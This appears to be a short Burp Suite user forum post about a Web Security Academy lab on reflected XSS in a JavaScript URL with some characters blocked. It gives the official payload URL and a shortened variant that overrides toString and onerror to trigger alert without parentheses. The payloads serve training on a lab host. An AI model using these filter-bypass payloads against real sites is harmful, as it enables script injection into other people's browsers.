Research Academy
My account Customers About Blog Careers Legal Contact Resellers

Burp Suite User Forum

Create new post

Lab: Reflected XSS in a JavaScript URL with some characters blocked

Meir | Last updated: Jul 02, 2024 08:33PM UTC

Lab: Reflected XSS in a JavaScript URL with some characters blocked The current solution: https://YOUR-LAB-ID.web-security-academy.net/post?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27 Can be shortened to: https://YOUR-LAB-ID.web-security-academy.net/post?postId=5&'},toString=x=>{throw/**/onerror=alert,1337},window+'',{x:' I skipped the intermediate step of assigning x to toString and then assigning to x, and replaced the coded characters with ASCII characters so that it's more readable

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.